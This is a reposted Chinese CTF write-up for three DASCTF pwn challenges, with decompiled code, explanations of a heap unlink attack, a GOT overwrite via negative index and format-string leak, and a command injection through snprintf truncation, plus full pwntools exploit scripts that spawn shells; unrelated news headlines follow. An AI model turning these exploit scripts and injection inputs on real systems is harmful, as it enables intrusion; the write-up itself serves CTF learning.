品牌 资讯 搭配 材料 时尚 热点 行业 首饰 玉石 行情

世界百事通!DASCTF二进制专项部分Writeup

2023-06-05 16:08:27 来源:博客园
easynote

create:堆大小可以任意分配只要不超过0xFFF

create()
unsigned __int64 create(){  int i; // [rsp+0h] [rbp-20h]  unsigned int size; // [rsp+4h] [rbp-1Ch]  void *size_4; // [rsp+8h] [rbp-18h]  char buf[8]; // [rsp+10h] [rbp-10h] BYREF  unsigned __int64 v5; // [rsp+18h] [rbp-8h]  v5 = __readfsqword(0x28u);  for ( i = 0; *(&chunk_ptr + i); ++i )    ;  puts("The length of your content --->");  read(0, buf, 4uLL);  size = atoi(buf);  if ( size > 0xFFF )  {    puts("Are you kidding me?");    exit(0);  }  size_4 = malloc(size);  if ( !size_4 )  {    puts("Here something goes wrong!");    exit(0);  }  puts("Content --->");  read(0, size_4, size);  *(&chunk_ptr + i) = size_4;  return __readfsqword(0x28u) ^ v5;}

delete:释放之后没做任何处理,存在UAF和Double Free。


(相关资料图)

delete()
unsigned __int64 delete(){  unsigned int v1; // [rsp+Ch] [rbp-14h]  char buf[8]; // [rsp+10h] [rbp-10h] BYREF  unsigned __int64 v3; // [rsp+18h] [rbp-8h]  v3 = __readfsqword(0x28u);  puts("Index --->");  read(0, buf, 4uLL);  v1 = atoi(buf);  if ( !*(&chunk_ptr + v1) )  {    puts("Are you kididng me?");    exit(0);  }  free(*(&chunk_ptr + v1));  puts("done");  return __readfsqword(0x28u) ^ v3;}

edit:没有对索引进行处理,只要索引处是一个可写的地址就行,而且写入大小也是自己控制,可以伪造堆。

edit()
unsigned __int64 edit(){  unsigned int v1; // [rsp+8h] [rbp-18h]  unsigned int nbytes; // [rsp+Ch] [rbp-14h]  char nbytes_4; // [rsp+10h] [rbp-10h] BYREF  unsigned __int64 v4; // [rsp+18h] [rbp-8h]  v4 = __readfsqword(0x28u);  puts("Index --->");  read(0, &nbytes_4, 4uLL);  v1 = atoi(&nbytes_4);  if ( !*(&chunk_ptr + v1) )  {    puts("Are you kididng me?");    exit(0);  }  puts("The length of your content --->");  read(0, &nbytes_4, 4uLL);  nbytes = atoi(&nbytes_4);  puts("Content --->");  read(0, *(&chunk_ptr + v1), nbytes);  puts("done");  return __readfsqword(0x28u) ^ v4;}unsigned __int64 show(){  unsigned int v1; // [rsp+Ch] [rbp-14h]  char buf[8]; // [rsp+10h] [rbp-10h] BYREF  unsigned __int64 v3; // [rsp+18h] [rbp-8h]  v3 = __readfsqword(0x28u);  puts("Index --->");  read(0, buf, 4uLL);  v1 = atoi(buf);  if ( !*(&chunk_ptr + v1) )  {    puts("Are you kididng me?");    exit(0);  }  printf("Content: %s\n", (const char *)*(&chunk_ptr + v1));  puts("done");  return __readfsqword(0x28u) ^ v3;}

解题思路:

1、创建三个堆块,第一个堆块大小要可以装下一个伪造的堆(不属于fastbin),后两个不属于fastbin就可以。编号:chunk0、chunk1、chunk2。

2、释放chunk0,利用show打印chunk0,获得main_arena+0x58的地址,main_arena的地址在malloc_trim函数里面。计算出libc的基址。

3、重新申请chunk0,写入伪造的堆块,将chunk1的 PREV_INUSE 置为0,释放chunk1,利用unlink修改指向chunk0的地址为伪造的堆块的fd。

4、往chunk_ptr里面写入__free_hook的地址,修改__free_hook为system,释放chunk3(chunk3内容为/bin/sh),获得shell。

需要注意的地方:

main_arena的地址查找

main_arena
gdb-peda$ heapFree chunk (unsortedbin) | PREV_INUSEAddr: 0x1209000Size: 0xa1fd: 0x7f658cb98b78bk: 0x7f658cb98b78Allocated chunkAddr: 0x12090a0Size: 0x90Allocated chunk | PREV_INUSEAddr: 0x1209130Size: 0xb1Top chunk | PREV_INUSEAddr: 0x12091e0Size: 0x20e21gdb-peda$ x 0x7f658cb98b780x7f658cb98b78 :0x00000000012091e0
malloc_trim
// 源码int __malloc_trim(size_t s) {int result = 0;if (__malloc_initialized < 0)ptmalloc_init();mstate ar_ptr = &main_arena;    // IDA __int64 __fastcall malloc_trim(__int64 a1) {  if ( dword_3C4144 < 0 )    sub_854D0();  v21 = 0;  v18 = &dword_3C4B20;

在libc-2.23,main_arena在__malloc_hook + 0x10处

.data:00000000003C4B10                               public __malloc_hook ; weak.data:00000000003C4B10 A0 58 08 00 00 00 00 00       __malloc_hook dq offset sub_858A0       ; DATA XREF: LOAD:000000000000A380↑o.data:00000000003C4B10                                                                       ; .got:__malloc_hook_ptr↑o.data:00000000003C4B18 00 00 00 00 00 00 00 00       align 20h.data:00000000003C4B20 00 00 00 00                   dword_3C4B20 dd 0

伪造的堆块需要满足的条件

伪chunk->fd->bk == P && 伪chunk->bk->fd == P(在C语言里面->表示左边的结构体变量的地址+右边成员在左边结构体的偏移量),说最简单些就是伪chunk的fd处的地址指向存在这个伪chunk的地址的地址减去bk(32位为0xC,64位为0x18),还是看图理解吧。

当释放chunk1时因为prev_inuse为0,会向上合并执行unlink,就会将0x0100处的值修改为fd(0x00E8)。这里如果想深入了解可以去阅读libc源码。

exp
from pwn import *debug = 0local = 0host = "node4.buuoj.cn"port = 27934filename = "./pwn"def malloc(size, data):    p.sendafter(b"5. exit\n", b"1")    p.sendafter(b"The length of your content --->\n", f"{size}".encode())    p.sendafter(b"Content --->\n", data)def edit(index, size, data):    p.sendafter(b"5. exit\n", b"2")    p.sendafter(b"Index --->\n", f"{index}".encode())    p.sendafter(b"The length of your content --->\n", f"{size}".encode())    p.sendafter(b"Content --->\n", data)def free(index):    p.sendafter(b"5. exit\n", b"3")    p.sendafter(b"Index --->\n", f"{index}".encode())def show(index):    p.sendafter(b"5. exit\n", b"4")    p.sendafter(b"Index --->\n", f"{index}".encode())p = process(filename) if not debug and local else gdb.debug(filename, "b main\nb *0x400C69") if debug else remote(host, port)elf = ELF(filename)libc = ELF("/root/Desktop/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc-2.23.so") if local else ELF("./libc-2.23.so")chunk = 0x6020C0malloc(0x98, b"A" * 0x8)malloc(0x88, b"A" * 0x8)malloc(0xA8, b"/bin/sh\x00")free(0)show(0)p.recvuntil(b"Content: ")main_arena_va = u64(p.recvuntil(b"\n").strip().ljust(8, b"\x00")) - 0x58libcbase = main_arena_va - libc.sym["__malloc_hook"] - 0x10system = libcbase + libc.sym["system"]free_hook = libcbase + libc.sym["__free_hook"]print(f"main_arena_va => {hex(main_arena_va)}")print(f"libcbase => {hex(libcbase)}")malloc(0x98, b"A" * 0x8)    # free(): corrupted unsorted chunkspayload = p64(0) + p64(0x91) + p64(chunk - 0x18) + p64(chunk - 0x10)payload = payload.ljust(0x90, b"\x00")payload += p64(0x90) + p64(0x90)edit(0, len(payload), payload)free(1)payload = p64(0) * 3 + p64(free_hook)edit(0, 0x20, payload)edit(0, 0x8, p64(system))free(2)p.interactive()
Candy_Shop

buy_canary:在写入canarys时,索引可以为负数,因为got表在canarys上面可以改写got表,但是要先改一下money(同样也在canarys上面)的值。

buy_canary()
unsigned __int64 buy_canary(){  int v1; // [rsp+0h] [rbp-10h] BYREF  char v2[2]; // [rsp+6h] [rbp-Ah] BYREF  unsigned __int64 v3; // [rsp+8h] [rbp-8h]  v3 = __readfsqword(0x28u);  puts(&s);  printf("You just have %d dollors\n", (unsigned int)money);  puts("(T)hree dollors a Krola");  puts("(t)wo dollors a Slania");  puts("(f)our dollors a Koparia");  printf("Which one you want to bye: ");  getstring(v2, 2LL);  if ( v2[0] == 84 && (unsigned int)money > 2 )  {    money -= 3;  }  else if ( v2[0] == 116 && (unsigned int)money > 1 )  {    money -= 2;  }  else  {    if ( v2[0] != 102 || (unsigned int)money <= 3 )    {      puts("You wanna fool me???");      exit(0);    }    money -= 4;  }  puts("Which pocket would you like to put the candy in?");  printf(": ");  __isoc99_scanf("%d", &v1);  if ( v1 > 2 )    exit(0);  puts("Give your candy a name!");  printf(": ");  getstring((char *)&canarys + 19 * v1, 19LL);  puts("Done!!!");  return v3 - __readfsqword(0x28u);}

gift:存在格式化字符串漏洞,动态调试可以发现在调用printf时,RCX为write + 23,进而泄露libc地址。

if ( v3 )      {        puts("Give me your name: ");        getstring(format, 8LL);        printf("booooo!!!!\nyou have received a gift:");        printf(format);        puts(&s);        --v3;      }

解题思路:

利用buy_canary写入got表,修改memset为system,获得shell。

exp
from pwn import *debug = 0local = 0host = "139.155.132.59"port = 9999filename = "./pwn"def buy(index, data):    p.sendlineafter(b"option: ", b"b")    p.sendlineafter(b"Which one you want to bye: ", b"t")    p.sendlineafter(b": ", f"{index}".encode())    p.sendlineafter(b": ", data)p = process(filename) if not debug and local else gdb.debug(filename, "b main\n b _buy_canary") if debug else remote(host, port)elf = ELF(filename)libc = ELF("./libc.so.6")p.sendlineafter(b"option: ", b"g")p.sendlineafter(b"Give me your name: \n", b"%3$p")p.recvuntil(b"0x")write = int(p.recvuntil(b"\n").strip().decode(), 16) - 23libcbase = write - libc.sym["write"]printf = libcbase + libc.sym["printf"]system = libcbase + libc.sym["system"]print(f"write => {hex(write)}")print(f"libcbase => {hex(libcbase)}")print(f"printf => {hex(printf)}")print(f"system => {hex(system)}")p.sendlineafter(b"option: ", b"e")    # 执行一次memset将memset地址绑定的got表,因为后面要利用memeset获得shellbuy(-2, b"\xFF" * 11)buy(0, b"/bin/sh\x00")payload = b"A" * 6 + p64(printf) + p64(system)[:-3]# 这里不使用上面定义的buy是因为,需要把payload写入程序,长度正好是19如果多输入一个\n就会执行gift,还要输入其他内容。index = -10p.sendlineafter(b"option: ", b"b")p.sendlineafter(b"Which one you want to bye: ", b"t")p.sendlineafter(b": ", f"{index}".encode())p.sendafter(b": ", payload)p.sendlineafter(b"option: ", b"e")p.interactive()
server

观察第一个函数里面的s和读入s字符串的长度,观察第二个函数的v1

仔细观察
unsigned __int64 sub_141A(){  char s[32]; // [rsp+0h] [rbp-60h] BYREF  char name[56]; // [rsp+20h] [rbp-40h] BYREF  unsigned __int64 v3; // [rsp+58h] [rbp-8h]  v3 = __readfsqword(0x28u);  puts("Hello, CTFer.");  puts("Please input the key of admin : ");  fgets(s, 28, stdin);  snprintf(name, 0x20uLL, "/keys/%s.key", s);  if ( access(name, 0) == -1 )  {    puts("Sorry, you are not winmt.");  }  else  {    puts("Hello, winmt.");    dword_404C = 1;  }  return __readfsqword(0x28u) ^ v3;}unsigned __int64 sub_16B5(){  char v1[16]; // [rsp+10h] [rbp-50h] BYREF  char s[56]; // [rsp+20h] [rbp-40h] BYREF  unsigned __int64 v3; // [rsp+58h] [rbp-8h]  v3 = __readfsqword(0x28u);  puts("Hello, winmt.");  puts("Please input the username to add : ");  if ( (unsigned int)sub_14DA(v1) == -1 )  {    puts("Woc! You"re a hacker!");    dword_404C = 0;    exit(-1);  }  snprintf(s, 0x30uLL, "add_user -u "%s" -p "888888"", v1);  system(s);  puts("Success!");  return __readfsqword(0x28u) ^ v3;}

动态调试容易发现漏洞

snprintf只会保留指定长度的字符,输入长一些的字符串绕过access。

► 0x5633e609b495    call   access@plt                        name: 0x7ffe2d1f5b60 ◂— "/keys/../////////////////bin/sh"        type: 0x0

登录成功之后发现,两个函数的栈空间里面的变量有重叠的地方,在登录的时候构造合适的字符串,基本不过管第二个函数的过滤。

► 0x5633e609b73c    call   snprintf@plt                        s: 0x7ffe2d1f5b60 ◂— "/keys/../////////////////bin/sh"        maxlen: 0x30        format: 0x5633e609c102 ◂— "add_user -u "%s" -p "888888""        vararg: 0x7ffe2d1f5b50 ◂— ""\n/bin/sh\n"                 ► 0x5633e609b748    call   system@plt                        command: 0x7ffe2d1f5b60 ◂— "add_user -u ""\n/bin/sh\n" -p "888888""
exp
from pwn import *debug = 0local = 0host = "node4.buuoj.cn"port = 26010filename = "./pwn_7"p = process(filename) if not debug and local else gdb.debug(filename, "b alarm\nc\nd\nfinis") if debug else remote(host, port)elf = ELF(filename)p.sendlineafter(b"Your choice >> ", b"1")p.sendlineafter(b"Please input the key of admin : \n", b"../////////////////bin/sh")p.sendlineafter(b"Your choice >> ", b"2")p.sendlineafter(b"Please input the username to add : \n", b""")p.sendline(b"cat flag")p.interactive()

标签:

相关文章

世界百事通!DASCTF二进制专项部分Writeup

​easynotecreate:堆大小可以任意分配只要不超过0xFFFcreate()unsigned_

2023-06-05 16:08:27

江苏溧阳一季度动力电池产业产值达200.5亿元 产量占全国10.8%

​今年一季度,溧阳动力电池产业产值达200 5亿元,同比增长31 5%,产量占

2023-06-05 15:12:27

天天精选!高考前焦虑失眠怎么办?这份考前心态调整攻略请收好

​3天后就是高考的日子,1291万名学子即将踏上考场。临近大考,睡不好觉

2023-06-05 14:28:33

日本情报收集卫星

​1、“光学3号”卫星是日本情报收集卫星。2、2009年11月28日成功发射。

2023-06-05 14:17:54

创业圈,老板大批失业:回大厂当总监 环球焦点

​80%的投资人都失业了,80%的创业者都不在了,大家都没了,以创业媒体起

2023-06-05 12:43:52

焦点快报!2023年河南省退休养老金涨工资新消息 2022~2023年河南省企业退休工资调整方案最新消息

​根据人社部最新消息:全国调整比例按照2022年退休人员月人均基本养老金

2023-06-05 12:07:59

人民网评:以梦为舟 奔向星辰大海 世界新资讯

​清晨的巴丹吉林沙漠腹地,朝霞满天。这片寂静辽远的土地,今日因迎接英

2023-06-05 11:20:46

要闻速递:瑜欣电子:6月2日融资买入133.36万元,融资融券余额1743.74万元

​6月2日,瑜欣电子(301107)融资买入133 36万元,融资偿还38 72万元,

2023-06-05 10:18:54

528家科创板公司IPO募资逾8200亿元 “长三角力量”撑起“半壁江山”|世界看点

​近年来,科创板上市公司队伍快速扩容,市场资金加速流向战略性新兴产业

2023-06-05 10:06:32

观速讯丨6月5日生意社环氧树脂基准价为13666.67元/吨

​6月5日,生意社环氧树脂基准价为13666 67元 吨,与本月初(14000 00元 吨)相比,下降了-2 38%。环氧树脂年度

2023-06-05 09:14:20

环球看热讯:“幽灵刹车”频出,居然都是广告牌的锅?

​显然,自动刹车的原因是由于特斯拉的自动驾驶系统将远处的广告牌误认为交通停车标志了。当然,说“幽灵刹车

2023-06-05 08:18:13

交叉遗传和隔代遗传 交叉遗传

​今天来聊聊关于交叉遗传和隔代遗传,交叉遗传的文章,现在就为大家来简单介绍下交叉遗传和隔代遗传,交叉遗

2023-06-05 07:23:06

武运粳21号(关于武运粳21号介绍)_环球快看

​1、武运粳21号系武进农科所育成的中熟中粳稻优秀新品种,2007年通过江苏省审定(苏审稻200705),国家保护

2023-06-05 05:55:43

飞机托运费多少钱一公斤_飞机托运费 世界焦点

​你们好,最近小信发现有诸多的小伙伴们对于飞机托运费多少钱一公斤,飞机托运费这个问题都颇为感兴趣的,今

2023-06-05 04:02:36

环球视讯!泰然金融最新退付消息:2023年兑付工作正在持续稳步推进,出借人迎来希望!

​关于泰然金融的退付业务发布了官方的通知,泰然金融近正在进行全面的退付工作,退付工作小组正根据自身的工

2023-06-05 01:20:17

天天最新:当我们抨击Halle Bailey的小美人鱼的时候,我们到底在抨击什么?

​公式化的美,是对“美”的唯一定义吗?图源:https: www bilibili com video BV1sY411z74B 自从迪士尼的小

2023-06-04 23:17:06

中国星辰丨神舟回家,“自动驾驶员”有多牛 世界速讯

​近日神舟十六号“博士乘组”顺利进入天宫与“神十五”乘组实现“天宫会师”“神十五”乘组6个月的出差之旅

2023-06-04 22:02:33

今日报丨别墅家用电梯尺寸标准_别墅家用电梯尺寸

​1、Aritco的别墅电梯一般在1-3平米左右,可同时搭乘2-5名乘客,载重200-500公斤,一般的别墅电梯差不多都是

2023-06-04 21:04:34

迈腾330是湿式双离合还是干式双离合

​1、迈腾的280tsi车型使用的是一款7速干式双离合变速箱。迈腾是大众旗下的一款中型轿车,这款车一共使用了三

2023-06-04 19:46:45

POE国产化临近 部分企业实现中试投产 谁能先行突破重围?|行业动态_快看点

​财联社6月4日讯(记者方彦博)光伏电池技术迭代,推动光伏胶膜市场需求转换,性能更优的POE正成为更多企业

2023-06-04 18:42:05

梅西传记作者:迈阿密的报价比沙特少,巴萨还没正式报价梅西 世界消息

​直播吧6月4日讯据梅西个人传记的作者GuillemBalague透露,迈阿密国际给梅西的报价不如沙特的高,而巴萨仍未

2023-06-04 17:30:02

跟腱炎怎么锻炼有助于恢复(跟腱炎的锻炼治疗方法)

​导读1、跟腱炎是跟骨后侧疼痛的一种。2、后面的三块肌肉向下走行合并为跟腱,止于跟骨结节的后上方,全长约

2023-06-04 16:33:40

全球快看点丨大腿吸脂危险大吗?一起看看

​现在很多女性都想通过吸脂减肥,但是有的人对此疑惑,大腿吸脂危险大吗?那么今天就让我们一起来看看吧!大

2023-06-04 15:33:55

专家支招高考考生科学饮食

​今年的高考日益临近,高考考生如何科学饮食成了很多家长关心的问题。营养科专家指出,考生的饮食应讲究清淡

2023-06-04 14:30:01

怎样把照片转换成jpg格式

​​1、第一种方法:使用”美图看看“打开一张png图片,如图。2、然后,点击”编辑“再点击下拉三角。3、选择”

2023-06-04 13:08:01

光电信息科学与工程考研能考哪些方向的_光电信息科学与工程考研能考哪些方向|实时焦点

​​1、该专业的考研方向主要有:集成电路工程、自动控制工程、模式识别与智能系统、通信与信息系统、信号与信

2023-06-04 11:51:20

cad十字光标不显示_CAD 怎么修改 光标的十字的大小|世界聚看点

​​1、鼠标在绘图区空白处右击,弹出快捷菜单,选择最底下的【选项】,打开选项对话框,在【显示】选项卡就可

2023-06-04 11:01:29

世界今亮点!武汉这个地方居民出行有新路啦

​​武汉这个地方居民出行有新路啦

2023-06-04 10:18:21

用好5.5G数字创新“加速器”

​​最新数据显示,截至4月底,三大电信运营商5G套餐用户总数累计达12 13亿户,中国5G用户快速增长、5G网络加速

2023-06-04 09:14:33

全球新动态:热火G1仅罚球2次 穆雷:他们投了很多三分球 没有人冲击篮筐

​​热火G1仅罚球2次穆雷:他们投了很多三分球没有人冲击篮筐,热火队,安迪·穆雷,丹佛掘金队,网球运动员,中国网

2023-06-04 08:14:32